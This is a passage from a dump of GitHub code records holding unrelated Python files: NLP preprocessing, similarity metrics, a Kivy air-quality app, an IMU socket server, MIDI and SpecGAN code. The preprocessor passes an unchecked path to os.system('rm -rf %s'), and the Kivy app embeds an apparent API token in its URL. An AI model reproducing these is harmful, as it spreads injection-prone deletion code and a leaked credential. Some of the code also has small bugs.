Logger\r\n\r\nidx_word_dict = {0: '0', 1: 'UNK'}\r\nword_idx_dict = {'0': 0, 'UNK': 1}\r\nword_embedding_matrix = None\r\nidx_relation_dict = {}\r\nrelation_idx_dict = {}\r\nbags_train = {}\r\nbags_test = {}\r\n\r\nclass InstanceBag(object):\r\n def __init__(self, entity_pair, relation, instance_count, sentences, positions, entity_pos):\r\n self.entity_pair = entity_pair\r\n self.relation = relation\r\n self.instance_count = instance_count\r\n self.sentences = sentences\r\n self.positions = positions\r\n self.entity_pos = entity_pos\r\n\r\n def decompose(self):\r\n return [self.entity_pair, self.relation, self.instance_count, self.sentences, self.positions, self.entity_pos]\r\n\r\n def __len__(self):\r\n return self.instance_count\r\n\r\n def __str__(self):\r\n string = \"InstanceBag [entity_pair=[%s, %s], \"\r\n \"relation=%d, instance_count=%d, sentences=%s, \"\r\n \"positions=%s, entity_pos=%s]\" \\\r\n % (self.entity_pair[0], self.entity_pair[1], \\\r\n self.relation, self.instance_count, str(self.sentences), \\\r\n str(self.positions), str(self.entity_pos))\r\n def __repr__(self):\r\n return self.__str__()\r\n\r\ndef load_wordvector(input_filename):\r\n global word_embedding_matrix\r\n fp = open(input_filename, 'rb')\r\n line = fp.readline().strip()\r\n word_count, word_dim = list(map(int, line.split()))\r\n # 0 for padding index, 1 for UNK word, word start from 2\r\n word_embedding_matrix = np.zeros((word_count + 2 + int(word_count/2), word_dim), dtype=np.float32)\r\n word_embedding_matrix[1, :] = np.random.uniform(low=-0.1, high=0.1, size=word_dim)\r\n count = 1\r\n while True:\r\n count += 1\r\n word = b''\r\n while True:\r\n c = fp.read(1)\r\n if (c == b'') or (c == b' '):\r\n break\r\n word += c\r\n word = word.strip().decode('utf-8')\r\n buffer = fp.read(4 * word_dim)\r\n if not buffer:\r\n break\r\n vector = np.array(struct.unpack('f' * word_dim, buffer))\r\n vector /= np.sqrt(np.sum(vector * vector))\r\n idx_word_dict[count] = word\r\n word_idx_dict[word] = count\r\n word_embedding_matrix[count, :] = vector\r\n fp.close()\r\n\r\ndef load_relation(filename):\r\n fp = open(filename, 'r')\r\n while True:\r\n line = fp.readline().strip()\r\n if not line:\r\n break\r\n relation_str = line.split()[0]\r\n relation_idx = int(line.split()[1])\r\n idx_relation_dict[relation_idx] = relation_str\r\n relation_idx_dict[relation_str] = relation_idx\r\n fp.close()\r\n\r\ndef load_train_and_test_data(train_filename, test_filename):\r\n global word_embedding_matrix\r\n word_count = max(list(word_idx_dict.values()))\r\n word_dim = word_embedding_matrix.shape[1]\r\n fp = open(train_filename, 'r')\r\n while True:\r\n line = fp.readline().strip()\r\n if not line:\r\n break\r\n e1, e2, head_s, tail_s, relation_str, sentence = line.split('\\t')\r\n entity_pair = [head_s, tail_s]\r\n if word_idx_dict.get(head_s, 1) == 1: # unknown head entity\r\n word_count += 1\r\n idx_word_dict[word_count] = head_s\r\n word_idx_dict[head_s] = word_count\r\n word_embedding_matrix[word_count, :] = np.random.uniform(low=-0.1, high=0.1, size=word_dim)\r\n if word_idx_dict.get(tail_s, 1) == 1: # unknown tail entity\r\n word_count += 1\r\n idx_word_dict[word_count] = tail_s\r\n word_idx_dict[tail_s] = word_count\r\n word_embedding_matrix[word_count, :] = np.random.uniform(low=-0.1, high=0.1, size=word_dim)\r\n relation_num = relation_idx_dict.get(relation_str, 0)\r\n word_list = sentence.split()[:-1]\r\n sentence_idx = [word_idx_dict.get(w, 1) for w in word_list]\r\n lefnum = 0\r\n rignum = 0\r\n for i, w in enumerate(word_list):\r\n if w == head_s:\r\n lefnum = i\r\n if w == tail_s:\r\n rignum = i\r\n positions = [lefnum, rignum]\r\n epos = sorted([lefnum, rignum])\r\n if not bags_train.get('%s\\t%s\\t%s' % (e1, e2, relation_str), ''):\r\n bags_train['%s\\t%s\\t%s' % (e1, e2, relation_str)] = InstanceBag(entity_pair=entity_pair, \\\r\n relation=relation_num, instance_count=1, sentences=[sentence_idx], \\\r\n positions=[positions], entity_pos=[epos])\r\n else:\r\n bags_train['%s\\t%s\\t%s' % (e1, e2, relation_str)].instance_count += 1\r\n bags_train['%s\\t%s\\t%s' % (e1, e2, relation_str)].sentences.append(sentence_idx)\r\n bags_train['%s\\t%s\\t%s' % (e1, e2, relation_str)].positions.append(positions)\r\n bags_train['%s\\t%s\\t%s' % (e1, e2, relation_str)].entity_pos.append(epos)\r\n fp.close()\r\n word_count = max(list(word_idx_dict.values()))-1\r\n word_embedding_matrix = word_embedding_matrix[:word_count+2, :]\r\n\r\n fp = open(test_filename, 'r')\r\n while True:\r\n line = fp.readline().strip()\r\n if not line:\r\n break\r\n e1, e2, head_s, tail_s, relation_str, sentence, _ = line.split('\\t')\r\n entity_pair = [head_s, tail_s]\r\n relation_num = relation_idx_dict.get(relation_str, 0)\r\n word_list = sentence.split()[:-1]\r\n sentence_idx = [word_idx_dict.get(w, 1) for w in word_list]\r\n lefnum = 0\r\n rignum = 0\r\n for i, w in enumerate(word_list):\r\n if w == head_s:\r\n lefnum = i\r\n if w == tail_s:\r\n rignum = i\r\n positions = [lefnum, rignum]\r\n epos = sorted([lefnum, rignum])\r\n if not bags_test.get('%s\\t%s\\t%s' % (e1, e2, relation_str), ''):\r\n bags_test['%s\\t%s\\t%s' % (e1, e2, relation_str)] = InstanceBag(entity_pair=entity_pair, \\\r\n relation=relation_num, instance_count=1, sentences=[sentence_idx], \\\r\n positions=[positions], entity_pos=[epos])\r\n else:\r\n bags_test['%s\\t%s\\t%s' % (e1, e2, relation_str)].instance_count += 1\r\n bags_test['%s\\t%s\\t%s' % (e1, e2, relation_str)].sentences.append(sentence_idx)\r\n bags_test['%s\\t%s\\t%s' % (e1, e2, relation_str)].positions.append(positions)\r\n bags_test['%s\\t%s\\t%s' % (e1, e2, relation_str)].entity_pos.append(epos)\r\n fp.close()\r\n\r\ndef cut_and_pad(sentence, entity_pos, filter_h=3, max_len=80):\r\n x = []\r\n if entity_pos[0] == entity_pos[1]:\r\n if (entity_pos[1] + 1) < len(sentence):\r\n entity_pos[1] += 1\r\n else:\r\n entity_pos[0] -= 1\r\n if len(sentence) < max_len:\r\n x += sentence\r\n else:\r\n idx = range(entity_pos[0], entity_pos[1] + 1)\r\n if len(idx) > max_len:\r\n idx = idx[:max_len]\r\n x += [sentence[i] for i in idx]\r\n entity_pos[0] = 0\r\n entity_pos[1] = len(idx) - 1\r\n else:\r\n x += [sentence[i] for i in idx]\r\n before = entity_pos[0] - 1\r\n after = entity_pos[1] + 1\r\n entity_pos[0] = 0\r\n entity_pos[1] = len(idx) - 1\r\n num_added = 0\r\n while True:\r\n added = False\r\n if (before >= 0) and (len(x) < max_len):\r\n x = [sentence[before]] + x\r\n added = True\r\n num_added += 1\r\n if (after < len(sentence)) and (len(x) < max_len):\r\n x += [sentence[after]]\r\n added = True\r\n if not added:\r\n break\r\n before -= 1\r\n after += 1\r\n entity_pos[0] += num_added\r\n entity_pos[1] += num_added\r\n pad = int(filter_h / 2)\r\n x = [0] * pad + x\r\n while len(x) < max_len + 2 * pad:\r\n x.append(0)\r\n return x, entity_pos\r\n\r\ndef get_relative_position(sentence_length, entity_pos, filter_h=3, max_len=80):\r\n index = np.arange(min(sentence_length, max_len))\r\n pf1 = index - entity_pos[0] + 1 + 51\r\n pf2 = index - entity_pos[1] + 1 + 51\r\n pf1 = [max(1, min(p, 101)) for p in pf1]\r\n pf2 = [max(1, min(p, 101)) for p in pf2]\r\n pad = int(filter_h / 2)\r\n x1 = [0] * pad + pf1\r\n x2 = [0] * pad + pf2\r\n while len(x1) < max_len + 2 * pad:\r\n x1.append(0)\r\n x2.append(0)\r\n return [x1, x2]\r\n\r\ndef make_data(data, filter_h, max_len):\r\n new_data = []\r\n for bag in data:\r\n entity_pair, relation, instance_count, sentences, positions, entity_pos = bag.decompose()\r\n new_sentence = []\r\n new_position = []\r\n new_entity_pos = []\r\n for i, sentence in enumerate(sentences):\r\n tmp_sen, tmp_epos = cut_and_pad(sentence, entity_pos[i], filter_h=filter_h, max_len=max_len)\r\n new_sentence.append(tmp_sen)\r\n new_entity_pos.append(tmp_epos)\r\n tmp_pos = get_relative_position(len(sentence), positions[i], filter_h=filter_h, max_len=max_len)\r\n new_position.append(tmp_pos)\r\n new_instance = InstanceBag(entity_pair, relation, instance_count, new_sentence, new_position, new_entity_pos)\r\n new_data.append(new_instance)\r\n return new_data\r\n\r\ndef save_bags(bags, output_filename):\r\n fp = open(output_filename, 'w')\r\n fp.write('%d\\n' % len(bags))\r\n for bag in bags:\r\n fp.write('%s %s\\n' % (bag.entity_pair[0], bag.entity_pair[1]))\r\n fp.write('%d\\n' % bag.relation)\r\n fp.write('%d\\n' % bag.instance_count)\r\n for i in range(len(bag)):\r\n for j in range(len(bag.sentences[i])):\r\n fp.write('%d ' % bag.sentences[i][j])\r\n fp.write('\\n')\r\n for i in range(len(bag)):\r\n for j in range(len(bag.positions[i][0])):\r\n fp.write('%d ' % bag.positions[i][0][j])\r\n fp.write('\\n')\r\n for j in range(len(bag.positions[i][1])):\r\n fp.write('%d ' % bag.positions[i][1][j])\r\n fp.write('\\n')\r\n for i in range(len(bag)):\r\n fp.write('%d %d\\n' % (bag.entity_pos[i][0], bag.entity_pos[i][1]))\r\n fp.close()\r\n\r\ndef load_bags(input_filename):\r\n bags = []\r\n fp = open(input_filename, 'r')\r\n num_bags = int(fp.readline().strip())\r\n for i in range(num_bags):\r\n entity_pair = fp.readline().strip().split()\r\n relation = int(fp.readline().strip())\r\n instance_count = int(fp.readline().strip())\r\n sentences = []\r\n for j in range(instance_count):\r\n sentences.append([int(w) for w in fp.readline().strip().split()])\r\n positions = []\r\n for j in range(instance_count):\r\n x1 = [int(w) for w in fp.readline().strip().split()]\r\n x2 = [int(w) for w in fp.readline().strip().split()]\r\n positions.append([x1, x2])\r\n entity_pos = []\r\n for j in range(instance_count):\r\n entity_pos.append([int(w) for w in fp.readline().strip().split()])\r\n bags.append(InstanceBag(entity_pair=entity_pair, relation=relation, instance_count=instance_count,\r\n sentences=sentences, positions=positions, entity_pos=entity_pos))\r\n return bags\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description=\"Preprocess NYT10 dataset.\")\r\n parser.add_argument(\"--data_path\", nargs='?', default=\"../data/NYT10\", help=\"Path to read NYT10 dataset.\")\r\n parser.add_argument(\"--filter_h\", type=int, default=3, help=\"Length of convolutional filter.\")\r\n parser.add_argument(\"--max_len\", type=int, default=80, help=\"Maximum sentence length.\")\r\n parser.add_argument(\"--output_path\", nargs='?', default=\"../data/processed\", help=\"Path to output processed data.\")\r\n args = parser.parse_args()\r\n arg_dict = vars(args)\r\n logger = Logger(None)\r\n length = max([len(arg) for arg in arg_dict.keys()])\r\n for arg, value in arg_dict.items():\r\n logger(\"%s | %s\" % (arg.ljust(length).replace('_', ' '), str(value)))\r\n logger(\"Load data.\")\r\n load_wordvector(os.path.join(args.data_path, 'vec.bin'))\r\n load_relation(os.path.join(args.data_path, 'relation2id.txt'))\r\n load_train_and_test_data(os.path.join(args.data_path, 'train.txt'), os.path.join(args.data_path, 'test.txt'))\r\n logger(\"Make data.\")\r\n train_bags = make_data(list(bags_train.values()), args.filter_h, args.max_len)\r\n test_bags = make_data(list(bags_test.values()), args.filter_h, args.max_len)\r\n logger(\"Save data.\")\r\n if args.data_path != args.output_path:\r\n if os.path.exists(args.output_path):\r\n os.system(\"rm -rf %s\" % args.output_path)\r\n os.mkdir(args.output_path)\r\n np.save(os.path.join(args.output_path, 'word_vector.npy'), word_embedding_matrix)\r\n pickle.dump(word_idx_dict, open(os.path.join(args.output_path, 'dictionary.p'), 'wb'))\r\n save_bags(train_bags, os.path.join(args.output_path, 'train_bags.txt'))\r\n save_bags(test_bags, os.path.join(args.output_path, 'test_bags.txt'))\r\n","repo_name":"ybch14/RelationExtraction-NIS-PyTorch","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":13187,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"21268665536","text":"import numpy as np\nfrom abc import ABC, abstractmethod\nfrom scipy.stats import wasserstein_distance\nfrom dtaidistance import dtw_ndim, dtw\nfrom scipy.spatial.distance import cosine\n\n\nclass VectorizedSimilarity(ABC):\n \n def __init__(self, update=False,aggregate = 'average',skip_na=True,regularize=True,use_derivative = False):\n aggregate = aggregate.lower()\n if aggregate not in ['average','max','min','median','mode']:\n print('error: invalid aggregation in similarity',aggregate)\n self.aggregate = aggregate\n self.regularize= regularize\n self.skip_na = skip_na\n self.update = update\n self.use_derivative=use_derivative\n \n def get_delta(self,x):\n curr = 0\n vals = []\n for xx in x:\n vals.append(xx - curr)\n curr = xx\n return np.array(vals).astype('float')\n \n @abstractmethod\n def sim_1d(self, x, y,weights=None):\n pass\n \n def sim_2d(self,x,y,weights=None):\n #assumes you want to \n sims = []\n assert(x.shape == y.shape)\n for i in np.arange(x.shape[0]):\n xx = x[0]\n yy = y[0]\n if self.use_derivative:\n xx = self.get_delta(xx)\n yy = self.get_delta(yy)\n sim = self.sim_1d(xx,yy,weights=weights)\n #skip if any values are nan\n if self.skip_na and np.isnan(sim):\n continue\n sims.append(sim)\n sims = np.array(sims)\n return self.aggregate_sims(np.array(sims),weights=weights)\n \n def get_similarity_matrix(self,x,weights=None):\n x = x.astype('float')\n n = x.shape[0]\n sims = np.zeros((n,n))\n for i in np.arange(n):\n x1 = x[i]\n for ii in np.arange(i+1,n):\n x2 = x[ii]\n if x.ndim == 2:\n sim = self.sim_1d(x1,x2)\n else:\n sim = self.sim_2d(x1,x2,weights=weights)\n sims[i,ii] = sim\n if self.update:\n print('patient',i,'of',n,end='\\r')\n# print(i,np.nanmean(sims[i,i:n]),np.nanstd(sims[i,i:n]))\n sims += sims.transpose()\n np.fill_diagonal(sims,self.sim_2d(x[0],x[0]))\n if self.regularize:\n# print(sims.min(),sims.max())\n sims = (sims - sims.min())/(sims.max()-sims.min())\n return sims\n \n def aggregate_sims(self,sims,weights=None):\n if weights is None:\n weights = np.array([1 for i in sims])\n if len(sims) < 1:\n return 0\n else:\n weights = np.array(weights)\n if self.aggregate == 'average':\n return np.nanmean(sims)\n mean = (sims*weights).sum()/weights.sum()\n return mean\n if self.aggregate == 'max':\n return sims.max()\n if self.aggregate == 'min':\n return sims.min()\n if self.aggregate == 'median':\n return sims.median()\n if self.aggregate == 'mode':\n return sims.mode()\n \nclass Euclidean2D(VectorizedSimilarity):\n \n def sim_1d(self,x,y,weights=None):\n x = np.array(x)\n y = np.array(y)\n if np.isnan(x).any() or np.isnan(y).any():\n return np.nan\n d = float(np.abs(np.sqrt(((x - y)**2).sum())))\n sim = 1/(1+d)\n return sim\n \nclass Wasserstein2d(VectorizedSimilarity):\n \n def __init__(self,steps=None, **kwargs):\n super().__init__(**kwargs)\n self.steps = steps\n \n def sim_1d(self,x,y,weights=None):\n if weights is None and self.steps is not None:\n weights = self.steps\n assert(len(self.steps) == len(x))\n d = wasserstein_distance(x,y,weights,weights)\n return 1/(1+d)\n \nclass DTWi2d(VectorizedSimilarity):\n \n def __init__(self, \n window=None, \n max_dist=None, \n max_step=None,\n prune=False,\n **kwargs):\n super().__init__(**kwargs)\n self.window=window\n self.max_dist=max_dist\n self.max_step = max_step\n self.prune=prune\n \n def sim_1d(self,x,y,weights=None):\n x = x.ravel()\n y = y.ravel()\n d = dtw.distance_fast(x,y,\n window=self.window,\n max_dist=self.max_dist,\n max_step=self.max_step,\n use_pruning=self.prune,\n )\n return 1/(1+d)\n \n \n \nclass DTWd2d(VectorizedSimilarity):\n \n def __init__(self, \n window=None, \n max_dist=None, \n max_step=None,\n prune=False,\n **kwargs):\n super().__init__(**kwargs)\n self.window=window\n self.max_dist=max_dist\n self.max_step = max_step\n self.prune=prune\n if self.aggregate != 'average':\n print('DTWd2d doesnt handle different aggregation, try DTWi2d (independent)')\n \n def sim_2d(self,x,y,weights=None):\n d = dtw_ndim.distance_fast(x,y,\n window=self.window,\n max_dist=self.max_dist,\n max_step=self.max_step,\n use_pruning=self.prune,\n )\n return 1/(1+d)\n \n def sim_1d(self,x,y,weights=None):\n print('DTWd2d shouldnt be calling sim_1d but it is')\n\nclass Jaccard2d(VectorizedSimilarity):\n \n def sim_1d(self,x,y,weights=None):\n d = jaccard_distance(x,y)\n return 1/(1+d)\n \nclass Cosine2d(VectorizedSimilarity):\n \n def sim_1d(self,x,y,weights=None):\n sim = cosine(x.ravel(),y.ravel())\n return sim\n \nclass ChiSquared2d(VectorizedSimilarity):\n \n def sim_1d(self,x,y,weights=None):\n d = chi_squared_distance(x,y)\n return 1/(1+d)\n \ndef local_tssim(x,y,v = None, w = None):\n #calculates local similarity within two numpy arrays\n #ignores structure of the windows\n #x, y are base variables (distances) for patients 1 and 2\n #v and w are volumes for patients 1 and 2\n #should all be 1-dimensional for original intended use\n c1 = .000001\n c2 = .000001\n x = x\n y = y\n mean_x = np.mean(x)\n mean_y = np.mean(y)\n covariance = np.cov(x,y)\n numerator = (2*mean_x*mean_y + c1) * (covariance[0,1] + covariance[1,0] + c2)\n denominator = (mean_x**2 + mean_y**2 + c1)*(np.var(x) + np.var(y) + c2)\n if v is not None and w is not None:\n mean_v = np.mean(v)\n mean_w = np.mean(w)\n numerator *= (2*mean_v*mean_w + c1)\n denominator *= (mean_v**2 + mean_w**2 + c1)\n if denominator > 0:\n return numerator/denominator\n else:\n print('error, zero denomiator in ssim function')\n return 0\n \ndef jaccard_distance(x, y):\n x = x.ravel()\n y = y.ravel()\n numerator = x.dot(y)\n denominator = x.dot(x) + y.dot(y) - x.dot(y)\n if numerator == 0 or denominator == 0:\n return 0\n return numerator/denominator\n\ndef chi_squared_distance(x,y):\n #exp(-gamma Sum [(x - y)^2 / (x + y)])\n eps = .000001\n d = ((x-y)**2/(x+y+eps)).sum()\n return d/5","repo_name":"teibok/TheMentorProject","sub_path":"python/Metrics.py","file_name":"Metrics.py","file_ext":"py","file_size_in_byte":7340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31721045292","text":"from kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.properties import ObjectProperty\nimport requests\nimport json\n\nclass Screen(Widget):\n result_city = ObjectProperty(None)\n result_aqi = ObjectProperty(None)\n entry = ObjectProperty(None)\n\n def pressed(self):\n try:\n api_url = requests.get(\"https://api.waqi.info/feed/\" + self.entry.text + \"/?token=3787f1c6f54214f6d420b52e2be8e7db95a10b1d\")\n api = json.loads(api_url.content)\n except Exception as e:\n api = \"ERROR\"\n if api['status'] == \"error\":\n self.result_city.text = \"City not found!\"\n self.result_aqi.text = \"\"\n else:\n self.result_city.text = self.entry.text + \": \" + api['data']['city']['name']\n self.result_aqi.text = \"Air quality: \" + str(api['data']['aqi'])\n self.entry.text = \"\"\n\nclass MyApp(App):\n def build(self):\n return Screen()\n\nif __name__ == \"__main__\":\n MyApp().run()\n","repo_name":"peterbarla/AQI-App","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5079355152","text":"# detail: https://atcoder.jp/contests/arc117/submissions/23191326\nn=int(input())\na=list(map(int,input().split()))\n\na.append(0)\na.sort()\nmod=10**9+7\n\nans=1\nfor i in range(1,len(a)):\n ans*=a[i]-a[i-1]+1\n ans%=mod\n \nprint(ans)","repo_name":"matumoto1234/cp-crawler","sub_path":"AtCoder/arc117/arc117_b/23191326.py","file_name":"23191326.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41561431131","text":"import socket\r\nimport json\r\nimport numpy as np\r\nimport matplotlib.pyplot as plot\r\nimport math\r\nimport openpyxl\r\nfrom collections import deque\r\nimport time\r\n\r\nHOST = '192.168.1.103' # IP address\r\nPORT = 15000 # Port to listen on (use ports > 1023)\r\nsp_1 = 0\r\nasensitivity = 2048/2 #LSB/g 再除2的原因與靜止實驗結果有關\r\ngsensitivity = 16.4 #LSB/(drg/s)\r\nvar = 0.0\r\nnewest_10ax = deque(maxlen=10)\r\nnewest_10ay = deque(maxlen=10)\r\nnewest_10az = deque(maxlen=10)\r\n\r\nworkbook = openpyxl.Workbook()\r\nsheet = workbook.worksheets[0]\r\nlisttitle = [\"time\",\"gx\", \"gy\", \"gz\", \"ax\", \"ay\", \"az\", \"var_acc\"]\r\nsheet.append (listtitle)\r\n\r\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\r\n s.bind((HOST, PORT))\r\n s.listen()\r\n print(\"Starting server at: \", (HOST, PORT))\r\n print(\"Starting Calibrate\")\r\n conn, addr = s.accept()\r\n with conn:\r\n print(\"Connected at\", addr)\r\n while True:\r\n data = conn.recv(1024*1024).decode('utf-8')\r\n #print(\"Received from socket server:\", data)\r\n if (data.count('{') != 1):\r\n # Incomplete data are received.\r\n choose = 0\r\n buffer_data = data.split('}')\r\n while buffer_data[choose][0] != '{':\r\n choose += 1\r\n data = buffer_data[choose] + '}'\r\n obj = json.loads(data)\r\n\r\n sp = obj['sp']\r\n gx = -(obj['gx'])/gsensitivity #degree/s\r\n gy = -(obj['gy'])/gsensitivity\r\n gz = (obj['gz'])/gsensitivity\r\n ax = obj['ax']*9.81/asensitivity #unit : m/s^2\r\n ay = obj['ay']*9.81/asensitivity\r\n az = -obj['az']*9.81/asensitivity\r\n sampleFreq = 1/(sp-sp_1)\r\n #print (gx, gy, gz, ax, ay, az)\r\n newest_10ax.append(ax)\r\n newest_10ay.append(ay)\r\n newest_10az.append(az)\r\n if len (newest_10ax) == 10:\r\n var = ((np.var(newest_10ax))**2+(np.var(newest_10ay))**2+(np.var(newest_10az))**2)**0.5 #加速度方差,判斷是否靜止\r\n if var > 0.005:\r\n print (\"stop moving,try again\")\r\n break\r\n # stop_delay = \r\n # time.sleep(3)\r\n\r\n sp_1 = sp\r\n if sp > 51:\r\n break\r\n\r\n # gyr = np.array([gx,gy,gz])\r\n # acc = np.array([ax,ay,az])\r\n\r\n print (sp , gx, gy, gz, ax, ay, az)\r\n listtitle = [sp ,gx, gy, gz, ax, ay, az, var]\r\n sheet.append (listtitle)\r\n\r\n\r\nworkbook.save('data/static.xlsx')","repo_name":"CTC8901228/ESLAB_Final_Project","sub_path":"calibration/calibration.py","file_name":"calibration.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9086494823","text":"import mido\n\n\nTICKS_PER_BEAT = 480\n\n\ndef save_song(msgs, filename):\n mid = mido.MidiFile()\n mid.ticks_per_beat = TICKS_PER_BEAT\n\n first_time = None\n for msg in msgs:\n if msg.type == 'note_on':\n first_time = msg.time\n break\n\n last_time = first_time\n for msg in msgs:\n if msg.time < first_time:\n t = 0\n else:\n t = msg.time - last_time\n ticks = int(mido.second2tick(t, TICKS_PER_BEAT, 500000))\n last_time = msg.time\n msg.time = ticks\n track = mido.MidiTrack(msgs)\n\n mid.tracks.append(track)\n mid.save(filename)\n","repo_name":"richardjs/takenotes","sub_path":"takenotes/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17363455348","text":"import torch\nimport torch.nn as nn\nimport torch.nn.init as init\n\n\ndef init_weights(m):\n \"\"\"\n Xavier weights initialization\n \"\"\"\n if isinstance(m, (nn.Conv1d, nn.ConvTranspose1d, nn.Linear)):\n init.xavier_normal_(m.weight)\n if m.bias is not None:\n init.constant_(m.bias, 0)\n\n\nclass SpecGANGenerator(nn.Module):\n \"\"\"\n SpecGAN generator\n \"\"\"\n def __init__(self, in_dim, cond_dim, out_dim, in_ch=1, kernel_size=5):\n \"\"\"\n SpecGAN generator initialization\n :param in_dim: dimension of input images\n :param cond_dim: size of conditioning input\n :param out_dim: output dimension\n :param in_ch: number of input channels\n :param kernel_size: size of deconvolution filters\n \"\"\"\n super(SpecGANGenerator, self).__init__()\n self.in_dim = in_dim\n self.cond_dim = cond_dim\n self.out_dim = out_dim\n self.in_ch = in_ch\n self.kernel_size = kernel_size\n\n self.fc = nn.Linear(self.in_dim + self.cond_dim, 256 * 64)\n self.deconv = nn.Sequential(\n nn.ConvTranspose2d(1024, 512, self.kernel_size, 2, padding=2, output_padding=1, bias=True),\n nn.ReLU(),\n nn.ConvTranspose2d(512, 256, self.kernel_size, 2, padding=2, output_padding=1, bias=True),\n nn.ReLU(),\n nn.ConvTranspose2d(256, 128, self.kernel_size, 2, padding=2, output_padding=1, bias=True),\n nn.ReLU(),\n nn.ConvTranspose2d(128, 64, self.kernel_size, 2, padding=2, output_padding=1, bias=True),\n nn.ReLU(),\n nn.ConvTranspose2d(64, self.in_ch, self.kernel_size, 2, padding=2, output_padding=1, bias=True),\n nn.Tanh()\n )\n self.apply(init_weights)\n\n def forward(self, x, cond):\n output = torch.cat([x, cond], dim=1)\n output = self.fc(output).view(-1, 16 * 64, 4, 4)\n output = self.deconv(output)\n output = output.squeeze()\n return output\n\n\nclass SpecGANDiscriminator(nn.Module):\n \"\"\"\n SpecGAN discriminator\n \"\"\"\n def __init__(self, in_dim, cond_dim, in_ch=1, kernel_size=5, phaseshuffle_rad=0, out=1):\n \"\"\"\n SpecGAN discriminator initialization\n :param in_dim: dimension of input image\n :param cond_dim: conditioning input size\n :param in_ch: number of input channels\n :param kernel_size: size of convolutional filters\n :param phaseshuffle_rad: phase shuffle radius\n :param out: number of output channels\n \"\"\"\n super(SpecGANDiscriminator, self).__init__()\n self.in_dim = in_dim\n self.cond_dim = cond_dim\n self.kernel_size = kernel_size\n self.phaseshuffle_rad = phaseshuffle_rad\n\n self.label_fc = nn.Linear(self.cond_dim, self.in_dim)\n self.lrelu = nn.LeakyReLU(0.2)\n self.conv = nn.Sequential(\n nn.Conv2d(in_ch, 64, 5, 2, bias=True),\n nn.Conv2d(64, 128, 5, 2, bias=True),\n nn.Conv2d(128, 256, 5, 2, bias=True),\n nn.Conv2d(256, 512, 5, 2, bias=True),\n nn.Conv2d(512, 1024, 5, 2, bias=True)\n )\n self.fc = nn.Linear(1024, out)\n self.apply(init_weights)\n\n def forward(self, x, cond):\n cond = self.label_fc(cond.type(torch.float32))\n output = torch.cat((x, cond.unsqueeze(-1)), -1).unsqueeze(1)\n for layer in self.conv:\n output = layer(output)\n output = self.lrelu(output)\n output = self._apply_phase_shuffle(output, self.phaseshuffle_rad)\n output.squeeze_()\n output = self.fc(output)\n return output\n\n def _apply_phase_shuffle(self, x, rad, pad_type='reflect'):\n \"\"\"\n Phase shuffle\n :param x: layer output\n :param rad: phase shuffle radius\n :param pad_type: padding type. Default: 'reflect'\n :return: layer output after phase shuffle\n \"\"\"\n if self.phaseshuffle_rad > 0:\n b, channels, x_len = x.shape\n phase = torch.randint(-rad, rad + 1, (1,))\n pad_l = max(phase, 0)\n pad_r = max(-phase, 0)\n x = nn.functional.pad(x, (pad_l, pad_r), mode=pad_type)\n x = x[..., pad_l:pad_l + x_len]\n x.view(b, channels, x_len)\n return x\n","repo_name":"ElisaTroschka/GANs-Conditional-Audio-Synthesis","sub_path":"src/SpecGAN.py","file_name":"SpecGAN.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20635668191","text":"import numpy\nimport os\nimport random\n\ndef preprocess_line(line):\n \"\"\"\n sample input: datum/gray_fts/ROIs1970_fall_64_p694.npz\n desired output: ROIs1970_fall_s1_64_p694 and ROIs1970_fall_s2_64_p694\n \"\"\"\n # remove redundant parts\n core_name = line.split('/')[2].rsplit('.')[0]\n core_name_parts = core_name.split(\"_\")\n\n name_sar_parts = core_name_parts.copy()\n name_opt_parts = core_name_parts.copy()\n\n name_sar_parts.insert(2, 's1')\n name_opt_parts.insert(2, 's2')\n\n sar = '_'.join(name_sar_parts) + \".png\"\n opt = '_'.join(name_opt_parts) + \".png\"\n\n return sar, opt\n\n\ndef save_txt(stage,sar_list, optic_list):\n with open('D:/sar_'+stage+'.txt', 'a') as the_file:\n for item in sar_list:\n the_file.write(item+'\\n')\n\n with open('D:/optic_'+stage+'.txt', 'a') as the_file:\n for item in optic_list:\n the_file.write(item+'\\n')\n\n return True\n\n\n\nif __name__==\"__main__\":\n\n sar_general = []\n optic_general = []\n\n sar_pos_group = []\n sar_neg_group = []\n optic_pos_group = []\n optic_neg_group = []\n\n stage_name = \"test\"\n\n with open(\"./SEN12_Dataset_Lists/list.\"+stage_name+\".txt\", \"r\") as fileReader:\n for line in fileReader:\n\n # apply preprocessing onto raw line text\n sar_line, optic_line = preprocess_line(line)\n\n sar_pos_group.append(sar_line)\n optic_pos_group.append(optic_line)\n\n # now select randomly negative image for each sar image\n # seed = 999\n # 1 negative optic patch foreach sar image\n for i in range(len(sar_pos_group)):\n\n sar_neg_group.append(sar_pos_group[i])\n\n # select negative optic image patch\n random_index = 0\n while True:\n random_index = random.randint(0, len(sar_pos_group)-1)\n\n if i != random_index:\n break\n\n optic_neg_group.append(optic_pos_group[random_index])\n\n # Now positive and negative image group is concatenated into\n # one list, seperately\n\n for i in range(len(sar_pos_group)):\n s_pos = sar_pos_group[i]\n o_pos = optic_pos_group[i]\n\n s_neg = sar_neg_group[i]\n o_neg = optic_neg_group[i]\n\n sar_general.append(s_pos)\n sar_general.append(s_neg)\n\n optic_general.append(o_pos)\n optic_general.append(o_neg)\n\n # save them on txt file via line by line\n saving_res = 